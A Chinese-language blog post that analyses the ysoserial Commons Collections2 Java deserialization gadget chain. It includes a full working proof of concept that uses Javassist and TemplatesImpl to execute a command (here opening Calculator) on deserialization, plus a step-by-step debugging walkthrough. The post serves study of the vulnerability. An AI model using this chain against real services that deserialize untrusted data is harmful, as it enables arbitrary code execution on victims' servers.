Ysoserial Commons Collections2分析

Ysoserial Commons Collections2分析

About Commons Collections2

CC2與CC1不同在於CC2用的是Commons Collections4.0;同時利用方式CC2用到了Javassist動態編程,從功能上來說CC1用於執行命令,而CC2可以任意代碼執行危害更大,所以像常用的shiro打內存馬也會用到CC2。

CC2 Gadget Chain

	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

poc

public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();     //獲取默認類池
        classPool.appendClassPath(AbstractTranslet);    //末尾添加一個ClassPath
        CtClass payload=classPool.makeClass("j");   //新創建一個類,類名為j
        payload.setSuperclass(classPool.get(AbstractTranslet));     //設置AbstractTranslet為該類父類
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //創建一個靜態構造方法並將其內容設置為彈calc
        byte[] bytes=payload.toBytecode();  //將該ctclass轉為byte流
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  //反射創建TemplatesImpl對象
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");    //反射獲取屬性值_bytecodes
        field.setAccessible(true);  //強制反射
        field.set(templatesImpl,new byte[][]{bytes});   //重新設置_bytecodes的值為bytes也就是彈calc

        Field field1=templatesImpl.getClass().getDeclaredField("_name");    //反射獲取屬性_name
        field1.setAccessible(true); //強制反射
        field1.set(templatesImpl,"test");   //將_name屬性賦值為test
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();
        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

前置知識

PriorityQueue

Queue是一個(FIFO)先進先出的隊列,而PriorityQueue是一個根據元素優先級出隊的隊列類。

構造方法

PriorityQueue(int initialCapacity)	
創建具有指定初始容量的PriorityQueue ,該容量根據其natural ordering對其元素進行排序 。

常用方法

boolean	add(E e)	
將指定的元素插入此優先級隊列。

Javassist

Javassist的默認類池搜索系統搜索路徑,通常包括平台庫、擴展庫以及-classpath選項或CLASSPATH 環境變量指定的搜索路徑 。

關於Javassist不會詳細解讀,沒了解過Javassist的師傅也可以參考我這篇文章//www.cnblogs.com/CoLo/p/15383642.html

Field

field.set(Object obj, Object value): 將指定對象變量上此 Field 對象表示的字段設置為指定的新值.

PoC分析

後面會把poc拆分成幾部分依次過一下

首先看第一部分, 聲明了兩個string:AbstractTranslet,TemplatesImpl ;之後用到了javassist創建了一個類,類名為j,同時設置該類父類為AbstractTranslet並通過makeClassInitializer方法在該類中添加靜態代碼塊,代碼塊內容為彈calc。

看到這裡大概可以猜到後續應該會初始化該類從而觸發在該類中寫入的靜態代碼塊內容去彈計算器(or 任意代碼執行)。

拋出問題1: 為什麼要設置父類為AbstractTranslet?

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();     //獲取默認類池
classPool.appendClassPath(AbstractTranslet);    //append一個ClassPath,為後續設置父類作準備
CtClass payload=classPool.makeClass("j");   //新創建一個類,類名為j
payload.setSuperclass(classPool.get(AbstractTranslet));     //設置AbstractTranslet為該類父類
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); //創建一個靜態代碼塊並將其內容設置為彈calc

這裡可以添加一行代碼payload.writeFile("./");將此class文件輸出到當前目錄看一下會比較清晰明了。

繼續看第二部分。將新建的類轉換為byte數組,通過反射創建TemplatesImpl實例化對象賦值給了templatesImpl,並通過反射拿到了該對象的_bytecodes並設置屬性值為上面新建的類的byte數組。

拋出問題2:為什麼要將上面我們新建好的類轉為bytes數組再賦值給TemplatesImpl類的_bytecodes

之後依然是反射拿到_name屬性並賦值test,看起來像是隨意賦值,只要_name有值即可。

拋出問題3:為什麼_name屬性必須要有值?

byte[] bytes=payload.toBytecode();  //將該ctclass轉為byte流
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  //反射創建TemplatesImpl對象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");    //反射獲取屬性值_bytecodes
field.setAccessible(true);  //強制反射
field.set(templatesImpl,new byte[][]{bytes});   //重新設置_bytecodes的值為bytes也就是彈calc

Field field1=templatesImpl.getClass().getDeclaredField("_name");    //反射獲取屬性_name
field1.setAccessible(true); //強制反射
field1.set(templatesImpl,"test");   //將_name屬性賦值為test

首先切入問題2,在poc中readObject下斷點跟到com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java中,看下TemplatesImpl的源碼,其實打fj多的師傅應該比較熟悉TemplatesImpl,這也是打fj的payload會用到的點。

調用棧如下,最後是在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#defineTransletClasses方法執行的代碼

先只關注TemplatesImpl部分,首先newTransformer方法在執行new TransformerImpl時調用了getTransletInstance()

進入getTransletInstance(),由於_classnull,進入defineTransletClasses方法

到這裡就很清晰了,通過ClassLoader#defineClass()加載_byrecides屬性值的位元組流數據創建惡意類並返回給_class數組,後續會對其進行實例化,所以這也是為什麼要將上面我們新建好的類轉為bytes數組再賦值給TemplatesImpl類的_bytecodes而不是選擇其他類或其他屬性。

而關於之前第一個問題為什麼要設置父類為AbstractTranslet,因為要走到下面的if判斷中給_transletIndex屬性重新賦值,這個屬性在TemplatesImpl中默認設置為-1,而重新設置值與後面的實例化觸發靜態代碼塊中代碼執行有關

回到TemplatesImpl#getTransletInstance()將一開始創建的類通過(AbstractTranslet) _class[_transletIndex].newInstance()觸發代碼執行,而如果_transletIndex值為-1的話應該會拋下標越界就不能正常的實例化觸發靜態代碼塊中的代碼執行了。這裡注意第一個if,需要_name不為null才繼續往下走,所以這也是問題3為什麼_name屬性要設置一個值。

所以後續找到如何調用的newTransformer方法即可。poc中給的是InvokerTransformer去反射調用newTransformer的執行,其流程大致為先獲取InvokerTransformer對象之後將其作為TransformingComparator構造方法的參數來實例化一個TransformingComparator對象,後續創建了一個PriorityQueue添加了兩個元素。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

後續和之前一樣的操作通過反射分別給comparatorqueue賦值,如下圖

最後就是序列化queue對象寫入test.out之後讀取test.out再進行反序列化觸發代碼執行

拋出問題4:為什麼要添加兩個元素呢?

這裡可以帶着問題調試poc觀察下

調試分析

還是在poc中readObject()處下斷點,跟進到PriorityQueue#readObject(),跟進heapify()

這裡是一個for循環,注意size就是我們前面設置的PriorityQueue的長度,這裡做了無符號右移1位 再-1的操作。

放兩張圖感受下,所以這也是問題4為什麼要添加兩個元素的答案,如果只放一個就直接跳出for不再繼續往下調用siftDown方法了

後續就比較簡單了,進入siftDown方法後調用siftDownUsingComparator方法

siftDownUsingComparator方法中調用compare方法,其中x為我們彈計算器的惡意類

compare方法中調用InvokerTransformer#transform()方法

transform中反射調用com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl#newTransformer()

在其中調用了getTransletInstance()

先做了_name是否為null的判斷,之後進入defineTransletClasses()方法。

在其中調用了ClassLoader#defaineClass()方法加載bytes數組生成惡意類

並判斷該類父類是否為對_transletIndex重新賦值或到最後拋出異常

回到getTransletInstance()方法實例化我們的惡意類最終觸發靜態代碼塊中代碼執行。

其實調試下來會發現poc的chain和yso中的不太一樣,yso封裝的太多,感覺不如直接調poc來的更易理解。不過yso還是要去深入理解的非常好的項目:D

PoC Chain:

ObjectInputStream.readObject()
      PriorityQueue.readObject()
          ...
              PriorityQueue.heapify()
                  PriorityQueue.siftDown()
                      PriorityQueue.siftDownUsingComparator()
                          TransformingComparator.compare()
                             InvokerTransformer.transform()
                                Method.invoke()
                                   TemplatesImpl.newTransformer()
                                       TemplatesImpl.getTransletInstance()

End

一開始看這條鏈頭大,有些沒接觸到的東西且cc1也是前一段時間分析的了,沒有那麼的熟悉所以看起來很吃力,還是需要多調試幾次。其實對於每個細節都是有說法的,需要帶着問題去調試會更容易理解。